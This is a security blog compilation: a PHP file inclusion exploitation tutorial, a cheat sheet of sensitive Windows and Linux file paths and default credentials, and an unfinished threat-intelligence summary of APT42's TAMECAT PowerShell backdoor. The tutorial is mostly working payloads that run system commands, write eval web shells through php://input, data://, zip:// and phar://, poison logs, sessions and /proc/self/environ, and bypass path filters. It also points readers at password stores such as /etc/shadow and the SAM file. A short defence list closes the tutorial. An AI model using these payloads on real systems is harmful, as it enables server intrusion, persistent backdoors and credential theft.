Remote File Inclusion (RFI) allows an attacker to include and execute files from a remote server. Since the remote file is under the attacker's control, this vulnerability can be extremely harmful. However, RFI has stricter prerequisites, requiring the following php.ini configurations:

allow_url_fopen = On
allow_url_include = On

Both must be On for remote file inclusion to succeed. For example, setting both to Off and restarting the server:

Visiting ?page=http://192.168.1.4 will produce errors:


Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(http://192.168.1.4): failed to open stream: no suitable wrapper could be found in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

Warning: include(): Failed opening 'http://192.168.1.4' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php on line 36

After setting both configuration options back to On and restarting the server, remote file inclusion works.

Absolute Paths of Sensitive Files

This article provides more detail: Summary of Sensitive Directory Paths in Windows and Linux

Below is a list of absolute paths for commonly used sensitive files:

# Windows:
c:/boot.ini                                 # View system version
c:/windows/php.ini                          # PHP configuration
c:/windows/my.ini                           # MySQL configuration (may contain credentials)
c:/winnt/php.ini
c:/winnt/my.ini
C:\Windows\win.ini                          # System configuration file
c:\mysql\data\mysql\user.MYD                # MySQL user passwords
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini   # Virtual host paths and passwords
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml    # IIS virtual host configuration
c:\windows\repair\sam                       # Windows initial installation password
c:\Program Files\Serv-U\ServUAdmin.exe      # Serv-U admin password (pre-6.0)
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif  # pcAnywhere login passwords
c:\Program Files\Apache Group\Apache\conf\httpd.conf or C:\apache\conf\httpd.conf  # Apache configuration
c:/Resin-3.0.14/conf/resin.conf             # Resin configuration (JSP)
c:/Resin/conf/resin.conf
/usr/local/resin/conf/resin.conf
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD                # MySQL user passwords

# Linux/Unix:
/usr/local/app/apache2/conf/httpd.conf      # Apache2 default configuration
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf  # Virtual host settings
/usr/local/app/php5/lib/php.ini             # PHP settings
/etc/sysconfig/iptables                     # Firewall rules
/etc/httpd/conf/httpd.conf                  # Apache configuration
/etc/rsyncd.conf                            # rsync configuration
/etc/my.cnf                                 # MySQL configuration
/etc/redhat-release                         # System version
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf
/usr/local/resin-3.0.22/conf/resin.conf
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/etc/sysconfig/iptables

Inclusion Techniques

The following examples use this test code:

<?php
    $file = $_GET['file'];
    include $file;
?>

Default settings: allow_url_fopen = On, allow_url_include = Off. Special requirements are noted where applicable.

PHP Pseudo-Protocols

PHP provides numerous built-in URL-style wrappers that can be used with filesystem functions such as fopen(), copy(), file_exists(), and filesize(). In addition, custom wrappers can be registered via stream_wrapper_register(). PHP pseudo-protocols are supported protocols and wrappers (12 types):

file:// — Access local filesystem
http:// — Access HTTP(s) URLs
ftp:// — Access FTP(s) URLs
php:// — Access various I/O streams
zlib:// — Compression streams
data:// — Data (RFC 2397)
glob:// — Find matching file path patterns
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process interactive streams

file://

The file:// pseudo-protocol accesses local filesystem.

Requirements:

No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=file://C:/Windows/win.ini

php://input

Allows access to the raw request body as a read-only stream. It can read unparsed POST data. Ineffective when enctype="multipart/form-data".

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php phpinfo(); ?>

Note: Bypassing `file_get_contents()` with `php://input`

When encountering file_get_contents(), consider using php://input to bypass restrictions, as PHP pseudo-protocols can also handle HTTP, allowing POST data transfer.

file_get_contents() returns the entire file content as a string. If a string is passed directly as a parameter, it may cause an error, but if the string contains an HTTP URL, it behaves like curl and reads the source code. PHP pseudo-protocols recognise the HTTP protocol, so php://input can read POST data to assign values to parameters.

Test code:

<?php
    echo file_get_contents("php://input");
?>

Result:

php://input (Command Execution)

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php system('whoami'); ?>

php://input (Writing a Trojan)

Requirements:

allow_url_include = On.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://input
# POST body:
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>

After execution, the web shell is created in the same directory:

Using a shell management tool (e.g., AntSword), the connection succeeds.

php://filter

A meta-wrapper designed for filtering applications when streams are opened. It reads and writes local disk files.

Requirements:

No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

fileinclude.php?file=php://filter/read=convert.base64-encode/resource=index.php
# Alternative:
fileinclude.php?file=php://filter/convert.base64-encode/resource=index.php
# (The second is shorter and may bypass some WAFs)

By specifying a file at the end, the source code (base64-encoded) can be read and then decoded. Although direct shell access may not be obtained, reading sensitive files is still harmful.

The string PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg== decodes to:

<?php
echo "Hello World";
?>

phar://

This pseudo-protocol extracts archive files. Regardless of the file extension, it is treated as a compressed archive.

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a file phpinfo.php with content <?php phpinfo(); ?> and pack it into a ZIP archive:

Specify the absolute path:

fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/phpinfo.php

Or use a relative path (if test.zip is in the same directory as fileinclude.php):

fileinclude.php?file=phar://test.zip/phpinfo.php

Note: test.zip must be a ZIP archive; other formats (RAR, 7z) do not work. However, the file extension can be changed to e.g., test.jpg or test.111. This bypasses upload restrictions.

phar:// (Command Execution)

Same as phar://, but with file content changed to <?php system('whoami');?>.

phar:// (Writing a Trojan)

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=phar://D:/phpStudy/PHPTutorial/WWW/test.zip/shell.php

Relative path (if test.zip in current directory):

http://192.168.1.4/fileinclude.php?file=phar://test.zip/shell.php

After visiting the URL, the web shell is written. Then use a shell management tool (e.g., AntSword) to connect.

Note: The same extension bypass applies: the archive can be renamed.

zip://

The zip:// pseudo-protocol is similar to phar:// but used differently.

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Construct a ZIP package similarly:

With zip://, an absolute path is required. The separator between the archive and the inner file is #, which must be URL-encoded as %23.

fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23phpinfo.php

Relative paths cause inclusion failure.

Note: The same extension bypass applies.

zip:// (Command Execution)

Same as zip://, with file content changed to <?php system('whoami');?>.

zip:// (Writing a Trojan)

Requirements:

PHP version >= 5.3.0
No requirement for allow_url_include.
No requirement for allow_url_fopen.

Technique:

Create a web shell shell.php with content <?php @eval($_POST[v]);?> and pack into a ZIP archive:

Absolute path:

http://192.168.1.4/fileinclude.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23shell.php

After visiting the URL, the web shell is written. Relative paths cause failure.

data://

A data stream wrapper that redirects the inclusion stream to user-controlled input. In simple terms, it includes the user's input stream.

Requirements:

PHP version >= 5.2
allow_url_fopen = On
allow_url_include = On

Technique 1:

fileinclude.php?file=data:text/plain,<?php phpinfo();?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

PD9waHAgcGhwaW5mbygpOz8+ decodes to <?php phpinfo();?>. The + must be URL-encoded as %2b; otherwise an error occurs.

data:// (Command Execution)

Technique 1:

fileinclude.php?file=data:text/plain,<?php system('whoami');?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

Decodes to <?php system('whoami');?>.

data:// (Writing a Trojan)

Technique 1:

fileinclude.php?file=data:text/plain,<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>

Technique 2 (Base64):

fileinclude.php?file=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oJ2hhY2sucGhwJywndycpLCc8P3BocCBAZXZhbCgkX1BPU1Rbdl0pPz4nKTs/Pg==

Decodes to <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>.

Including Session Files

Requirements: The session file path is known, and the content is partially controllable.

Technique:

The PHP session file save path can be found in phpinfo under session.save_path.

Common PHP session storage locations:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Session file naming: sess_[phpsessid]. PHPSESSID can be found in the cookie field of the request.

To include and exploit, the attacker must control some session file content. No general solution exists. Sometimes, include the session file first, observe its contents, then find controllable variables to inject payloads and execute PHP code.

Example 1:

# Line 3
session_start();
if($_SESSION['username']) {
    header('Location: index.php');
    exit;
}

# Line 8
if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];

    # Line 20
    $stmt->bind_result($res_password);

    # Line 24
    if ($res_password == $password) {
        $_SESSION['username'] = base64_encode($username);
        header("location:index.php");
    }
}

The variable $username is controllable and written to $_SESSION. If the data is unfiltered, it ends up in the session file. Combined with file inclusion, the session file may be included.

To include the session file, the path must be known. Register a user (e.g., Johnson). After successful login, note the PHPSESSID cookie value (e.g., 0d0385dc6a1067f4e3406191). Even a failed login creates a session file.

Visit:

http://x.x.x.x/index.php?action=/var/lib/php5/sess_0d0385dc6a1067f4e3406191

However, the username is base64-encoded. Using a pseudo-protocol to decode the entire session file may cause garbled characters due to the serialised prefix. Consider base64 encoding. The session prefix username|s:12:" (the number 12 is the length of the base64 string). For lengths <100, the prefix is 15 characters; for 100–999, it is 16 characters.

16 characters satisfy: 16 * 6 = 96 bits, 96 mod 8 = 0. Thus, when base64-decoding the session file, the first 16 characters become garbled but do not affect the remaining part (the base64-encoded username). Register a username like JohnsonJohnson... (long enough that its base64 length exceeds 100) plus <?php eval($_GET['abcdefg']) ?>. Then visit:

http://x.x.x.x/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_0d0385dc6a1067f4e3406191&abcdefg=phpinfo();

Successful execution leads to a web shell.

Example 2:
session.php with controllable user session:

session_start();
$username = $_POST['username'];
$_SESSION['username'] = $username;

Register a user with <?php phpinfo();?> and log in with that username. Record PHPSESSID (e.g., r7csmqpu1lul3elgsb6o9g6u1b). The session file contains the malicious code.

Include it:

fileinclude.php?file=D:\phpStudy\PHPTutorial\tmp\tmp\sess_r7csmqpu1lul3elgsb6o9g6u1b

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including Log Files

Access Logs

Requirements: Know the server log storage path, and log files must be readable.

Technique:

Web servers (e.g., Apache) write requests to access.log and errors to error.log. Default paths:

1. Apache+Linux: /etc/httpd/logs/access.log or /var/log/httpd/access.log
2. Apache+Win2003: D:\xampp\apache\logs\access.log, D:\xampp\apache\logs\error.log
3. IIS6.0+Win2003: C:\WINDOWS\system32\Logfiles
4. IIS7.0+Win2003: %SystemDrive%\inetpub\logs\LogFiles
5. nginx: /usr/local/nginx/logs/ (or installation directory)

Direct requests may cause encoding issues. Use Burp to modify the request, e.g., change <?php phpinfo();?> to %3C?php%20phpinfo();%20?%3E.

After writing PHP code to /var/log/apache2/access.log, include it.

Default configuration file paths:

1. Apache+Linux: /etc/httpd/conf/httpd.conf or /etc/init.d/httpd
2. IIS6.0+Win2003: C:/Windows/system32/inetsrv/metabase.xml
3. IIS7.0+WIN: C:\Windows\System32\inetsrv\config\applicationHost.config

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code, encode as needed, and include.

SSH Log

Requirements: Know the SSH log location and have read access. Default: /var/log/auth.log or /var/log/secure.

Technique:

Connect via SSH:

ssh '<?php phpinfo(); ?>'@remotehost

Enter any password. The PHP code is written to the SSH log.

Then include the log file.

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including environ

Requirements:

PHP runs as CGI (so that environ retains the User-Agent header).
environ file location is known and readable. Default: /proc/self/environ (Linux only; not available on Windows).

Technique:

/proc/self/environ saves the User-Agent header. Insert PHP code into the User-Agent, then include the file.

Example: intercept a request with Burp and modify the User-Agent:

Then include /proc/self/environ:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Including fd (File Descriptors)

File descriptors (fd) are non‑negative integers returned by the kernel when a file is opened. Default location: /proc/self/fd/ (Linux only). Similar to including environ.

Note on Command Execution and Trojan Writing: Same as including environ.

Including Uploaded Files

Many websites offer file upload (e.g., avatars, documents). Upload a web shell disguised as an image.

Requirements: Know the uploaded file's path and name.

Technique:

Create an image‑based web shell. Two methods:

Using the command line: combine a legitimate image (1.jpg) with a PHP file (2.php) containing fputs(fopen('hack.php','w'),'<?php @eval($_POST[v])?>');?>:

   copy 1.jpg/b+2.php 3.jpg

Upload 3.jpg to the server (e.g., /upload/202107.jpg). Then include it:

   http://x.x.x.x/index.php?page=./upload/202107.jpg

This creates hack.php in the same directory as index.php, which can be connected with a shell management tool.

Command execution is also possible.

Including Temporary Files

Principle diagram:

When PHP uploads a file, a temporary file is created (Linux: /tmp/php[6 random chars], Windows: c:\windows\temp). Compete to include the temporary file before it is deleted.

The temporary filename can be guessed (Linux randomness flaws; Windows only 65535 possibilities) or obtained from phpinfo page (PHP variables expose the uploaded file's temporary path and name).

Requirements: phpinfo page and file inclusion vulnerability.

Principle:

When sending a POST with a file block, PHP saves a temporary file (e.g., /tmp/phpXXXXXX), deleted after request.
phpinfo displays all variables, including $_FILES, revealing the temporary filename.

Technique (Linux only): Use the script from vulhub/exp.py. It includes the temporary file, which contains:

<?php fileputcontents('/tmp/p','<?=eval($_REQUEST[1])?>')?>

Successful inclusion creates a permanent file /tmp/p.

Then include /tmp/p to execute arbitrary commands.

The script uses race conditions: send a large request to phpinfo, fill with garbage to inflate the output buffer (default 4096 bytes). Read the socket in 4096‑byte chunks; as soon as the temporary filename is found, send the inclusion request before the first socket closes (so the temp file still exists).

Other Inclusion Techniques

Web services may use other services (FTP, databases) that produce files. Specific analysis required (e.g., SMTP logs) – not covered here.

Bypass Techniques

In real scenarios, inclusion is rarely as simple as include $_GET['file'];. Often, prefixes and suffixes are added. Example:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

Bypassing a Fixed Prefix

Test code:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

(Note: On Windows, backslashes in the prefix may cause issues; use forward slashes for directory traversal.)

Solution: Directory Traversal

If /var/log/test.txt contains <?php phpinfo();?>, use ../:

include.php?file=../../log/test.txt

The server concatenates to /var/www/html/../../log/test.txt → /var/log/test.txt.

Solution: Encoding Bypass

Servers often filter ../. Encodings can bypass:

1. URL encoding

../ → %2e%2e%2f, ..%2f, %2e%2e/
..\ → %2e%2e%5c, ..%5c, %2e%2e\

2. Double encoding

../ → %252e%252e%252f
..\ → %252e%252e%255c

3. Container/server‑specific encoding

..%c0%af (see Why does Directory traversal attack %C0%AF work?)
%c0%ae%c0%ae/ (Java: %c0%ae → \uC0AE → .)
..%c1%9c

Bypassing a Fixed Suffix

Test code:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

Solution: URL Query and Fragment

URL format: protocol://hostname[:port]/path[;parameters][?query]#fragment

For RFI (allow_url_fopen=On, allow_url_include=On):

Technique 1: Query (?)

index.php?file=http://remoteaddr/remoteinfo.txt?

Included file becomes http://remoteaddr/remoteinfo.txt?/test/test.php – the suffix is treated as a query.

Command execution / Trojan writing example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php?

where backdoor.php contains <?php system('whoami'); ?>.

Replace with a web‑shell writing payload to get a shell.

Technique 2: Fragment (# or %23)

index.php?file=http://remoteaddr/remoteinfo.txt%23

Included file: http://remoteaddr/remoteinfo.txt#/test/test.php – the suffix becomes a fragment. URL-encode # as %23.

Command execution example:

http://x.x.x.x/fileinclude2.php?file=http://x.x.x.x/backdoor.php%23

Difference between Windows and Linux:

Linux works as above.
On Windows, both ? and # (even unencoded) work; no special encoding needed.

Solution: Using Pseudo‑Protocols

Test code with suffix:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

Technique 1: zip://

Construct a ZIP archive (e.g., J0.zip) containing a file J0/test.php (since the suffix appends /test/test.php, we want the inner file to be named appropriately). Let the inner file be J0? Actually, the include is $file . '/test/test.php'. If we set $file to zip://path/to/archive.zip#inner, then the full path becomes zip://.../archive.zip#inner/test/test.php. So the inner file should be inner/test/test.php? Let's follow the example: they created J0.zip with a file J0 (no extension) containing <?php phpinfo(); ?>. Then they used fileinclude2.php?file=zip://D:\phpStudy\PHPTutorial\WWW\J0.zip%23J0. The concatenated string becomes zip://D:\phpStudy\PHPTutorial\WWW\J0.zip#J0/test/test.php. That works because the pseudo‑protocol treats everything after # as the inner file path.

Test content:

Technique 2: phar:// (requires PHP >= 5.3.4)

Using the same ZIP archive. Absolute path:

fileinclude2.php?file=phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0

Concatenated: phar://D:\phpStudy\PHPTutorial\WWW\J0.zip\J0/test/test.php

Relative path:

fileinclude2.php?file=phar://J0.zip\J0

Note on Command Execution and Trojan Writing: As with zip:// and phar://.

Solution: Length Truncation

PHP version < 5.2.8. Directory strings have maximum length (4096 bytes on Linux, 256 bytes on Windows). Repeating ./ many times:

index.php?file=phpinfo.php././././... (repeated) ././

When the maximum is reached, the suffix /test/test.php is discarded.

Example on Windows:

fileinclude2.php?file=phpinfo.php/./././... (many repetitions)

Adding too many may exceed capacity:

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Solution: Null Byte Truncation (`%00`)

Principle: chr(0) acts as a string terminator. Everything after %00 is ignored.

Requirements:

magic_quotes_gpc = Off (if On, %00 becomes \0 and is escaped)
PHP version < 5.3.4

index.php?file=phpinfo.php%00

Note on Command Execution and Trojan Writing: Replace <?php phpinfo();?> with the desired PHP code.

Defence Measures

Configure PHP's open_basedir to restrict file access to specified directories. This will cause inclusion to fail for files outside the web directory.
Manage file permissions carefully.
Limit includable files via whitelisting or by setting a dedicated include directory.
Filter dangerous characters: . (dot), / (forward slash), \ (backslash), and other special characters.
Set allow_url_fopen = Off and allow_url_include = Off. Although many pseudo‑protocols still work, this reduces the attack surface.
Avoid dynamic inclusion whenever possible.

Windows and Linux Sensitive Directory Path Summary

Excalibra — Sun, 07 Jun 2026 05:01:24 +0000

Windows and Linux Sensitive Directory Path Summary

Abstract: This article describes how to exploit file inclusion and arbitrary file download vulnerabilities. It provides file lookup commands for different operating systems, lists common configuration file names for Apache, MySQL, PHP, etc., and mentions sensitive files and information, such as probe pages, system files, and critical paths in content management systems (CMS). In addition, default paths for website building tools such as XAMPP and phpStudy are covered, along with relevant files for common CMS platforms.

0x01 Basic Information

When encountering vulnerabilities such as file inclusion or arbitrary file download, the information in this article can be utilised to facilitate subsequent attacks.

0x02 Configuration Files

Finding Files

If command execution is possible, use the lookup commands directly.

Linux-related commands:

# Find a file
find / -name filename.ext

# Search entire disk for files containing 'flag'
grep flag -r /

Windows-related commands:

# Search entire disk for a file; be sure to add an asterisk!
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i

# Search drive C: for files containing the string 'password'; double quotes are required!
findstr /s /n "password" c:\*

# Check whether pwd.txt contains the string 'password'; double quotes are required!
find /N /I "password" pwd.txt

Common Configuration File Names

# Apache
httpd.conf

# MySQL
my.ini

# Virtual host configuration
httpd-vhosts.conf

# IIS
metabase.xml
applicationHost.config

# SSH
/etc/ssh/sshd_config

# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# PHP
php.ini

# WebLogic (read password)
./security/SerializedSystemIni.dat
./config/config.xml

Apache

# Configuration file path
/etc/httpd/conf/httpd.conf

# Default site path
/var/www/html/

# Ubuntu configuration file
/etc/apache2/apache2.conf

# Access log and error log
/private/var/log/apache2/error_log
/private/var/log/apache2/access_log

IIS

# Configuration file
web.config

MySQL

# Configuration file
/etc/my.cnf
/etc/mysql/my.cnf

phpMyAdmin

# Configuration file
config.inc.php

# Default path
/var/www/phpmyadmin/config.inc.php

XAMPP Suite

Related paths:

# Website default path
xampp\htdocs

# Apache basic configuration
xampp\apache\conf\httpd.conf

# Apache SSL
xampp\apache\conf\ssl.conf

# Apache Perl (plugin only)
xampp\apache\conf\perl.conf

# Apache Tomcat (plugin only)
xampp\apache\conf\java.conf

# Apache Python (plugin only)
xampp\apache\conf\python.conf

# Virtual hosts
xampp/apache/conf/extra/httpd-vhosts.conf

# PHP
xampp\php\php.ini

# Database default path
xampp\mysql\data

# MySQL
xampp\mysql\bin\my.ini

# phpMyAdmin
xampp\phpMyAdmin\config.inc.php

# FileZilla FTP server
xampp\FileZilla

# FTP/FileZilla Server.xml
Mercury

# Mercury mail server basic configuration
xampp\MercuryMail\MERCURY.INI

# Sendmail
xampp\sendmail\sendmail.ini

Default passwords:

# MySQL
User: root   Password: (empty)

# FileZilla FTP
User: newuser   Password: wampp
User: anonymous   Password: some@mail.net

# Mercury
Postmaster: postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
TestUser: newuser   Password: wampp

# WEBDAV
User: wampp   Password: xampp

phpStudy Suite

Earlier versions of the phpStudy suite were reported to be problematic, with issues such as port conflicts and poor database management. However, when tested again on Windows (as of August 2019), these problems were no longer observed, reflecting the rapid evolution of technology and product updates.

There is also a Pro version, so the paths have changed accordingly. This summary takes the Pro version as an example; for the standard version, simply remove 'Pro'.

Related paths:

# Root directory
phpstudy\WWW
phpstudy_pro\WWW

# phpMyAdmin
phpstudy_pro\WWW\phpMyAdmin4.8.5

# PHP: In the Pro version, plugins are displayed as extensions.
phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

0x03 Sensitive Files

Probe Information

When using XAMPP/LAMPP/phpStudy/PHPnow, some probe pages may be left behind, revealing useful information, such as Document_Root (representing the website root directory) and session.save_path (storing session information).

1.php
l.php
p.php
probe.php
test.php
info.php
phpinfo.php

Windows

# View system version
c:\boot.ini

# IIS configuration file
c:\windows\system32\inetsrv\MetaBase.xml

# Stores the initial installation password for Windows
c:\windows\repair\sam

# MySQL configuration
c:\ProgramFiles\mysql\my.ini

# MySQL root password
c:\ProgramFiles\mysql\data\mysql\user.MYD

# PHP configuration information
c:\windows\php.ini

Linux

Basic Linux privilege escalation paths:

# Account information
/etc/passwd

# Account password file
/etc/shadow

# Apache2 default configuration file
/usr/local/app/apache2/conf/httpd.conf

# Virtual website configuration
/usr/local/app/apache2/conf/extra/httpd-vhost.conf

# PHP configuration file
/usr/local/app/php5/lib/php.ini

# Apache configuration file
/etc/httpd/conf/httpd.conf

# MySQL configuration file
/etc/my.conf

0x04 Common CMS Examples

CMS-A

/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php

CMS-B

/wp-admin/includes/file.php
/wp-content/themes/theme-name/footer.php

CMS-C

/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

CMS-D

/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/cms-root/

CMS-E

/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php

TAMECAT: APT42's New PowerShell Backdoor Targeting Military and Government Officials

Excalibra — Tue, 28 Apr 2026 19:06:29 +0000

Article Summary: The Iranian APT42 group is conducting espionage attacks against high-ranking military and government officials using the TAMECAT PowerShell backdoor. This malware features fileless execution, in-memory operation, and Telegram-based C2 channels for covert data exfiltration. This article dissects the attack chain involving VBScript phishing delivery and multi-layer encryption loading, and recommends enterprise EDR deployment, enhanced scripting policies, and security awareness training to build a comprehensive defense system.

Article Classification: Threat Intelligence, Malware, Incident Response

Alert: APT42's New Weapon TAMECAT—Lurking in PowerShell, Targeting Military and Government Elites

In early 2026, Israel's National Cyber Directorate disclosed critical threat intelligence: the Iranian state-sponsored APT42 group is leveraging a PowerShell backdoor named TAMECAT to conduct precision espionage attacks against defense officials and core government personnel across multiple nations.

This malicious software operates as an "invisible spy"—it writes nothing to disk, runs entirely in memory, and receives commands via Telegram to stealthily exfiltrate browser data, capture screenshots, and even evade mainstream antivirus solutions. More alarmingly, it has undergone multiple iterations with continuously evolving attack techniques, establishing itself as APT42's core weapon for transnational espionage operations.

Drawing upon technical analysis reports from Pulsedive and other institutions, Antiy CERT presents a comprehensive dissection of TAMECAT's attack chain, concealment techniques, and defensive countermeasures—illuminating how nation-state actors weaponize scripting tools to achieve precision data theft.

Core Thesis

TAMECAT is a modular PowerShell backdoor designed for "covert infiltration + precision exfiltration." Delivered via VBScript phishing, it is tailored for Windows systems and specifically targets high-value military and government personnel. Its most significant threat lies in its fileless characteristics combined with multi-layer encryption, rendering traditional defenses ineffective. Furthermore, its use of social platforms such as Telegram and Discord as C2 channels substantially complicates attribution efforts.

I. Attack Chain Dissection: From Phishing to Exfiltration in Four Stages

TAMECAT's attack flow is highly automated, proceeding from initial user interaction with a malicious file to complete data exfiltration without perceptible intrusion. The complete chain comprises four critical phases:

Stage 1: Delivery—VBScript Phishing with Defense Environment Reconnaissance

The attack typically originates from a spear-phishing email disguised as official correspondence, with an attachment that appears to be an ordinary document but actually contains embedded VBScript.

This script functions as a "reconnaissance operative." Upon execution, it immediately queries the target device's installed antivirus software list via WMI:

If Windows-associated security products are detected, it invokes conhost to launch PowerShell and retrieves the core payload via remote download utilities;
If no Windows environment is detected, it employs command-line tools and download utilities to retrieve an alternative malicious program (the link is currently inactive, and the complete sample has not yet been captured).

This "adaptive delivery" design enables TAMECAT to accommodate varying defensive environments, substantially increasing attack success rates.

Stage 2: Loading—Stealth PowerShell Execution with Multi-Layer Encryption Evasion

The successfully downloaded core payload appears to be a standard text file but actually conceals encrypted attack code within a PowerShell script.

Its anti-detection techniques are exemplary:

Command Obfuscation: Utilizes ambiguous expressions to replace plaintext execution commands, evading script detection mechanisms;
AES Double Encryption: Core code is first Base64-encoded, then subjected to high-strength encryption; functional modules are only released upon decryption;
Fileless Execution: Operates entirely in memory without writing any malicious files to disk, making detection by traditional antivirus software extremely difficult.

Stage 3: Exfiltration—Modular Operation with Targeted Sensitive Data Collection

Once decrypted, TAMECAT activates multiple functional modules that operate as a "spy toolkit" to precisely collect information. Primary targets include:

Browser Data Theft: Extracts data from mainstream browsers via remote debugging, suspending browser processes to read cached credentials, passwords, and other sensitive information;
System Information Collection: Obtains operating system version, computer name, and unique identification tokens, generating victim-specific identifiers stored in system directories;
Screen Surveillance: Captures screenshots silently to comprehensively record target operational trajectories;
Command Reception: Receives control commands via Telegram bots, enabling download of additional scripts, execution of various code types, and flexible termination of attack processes.

Notably, APT42 frequently employs social engineering "priming"—first establishing trust relationships with victims before delivering malicious files, substantially reducing suspicion.

Stage 4: Exfiltration—Encrypted Transmission with C2 Channels Hidden in Social Platforms

Collected sensitive data is encrypted and transmitted to control servers via network requests. To evade monitoring, TAMECAT additionally:

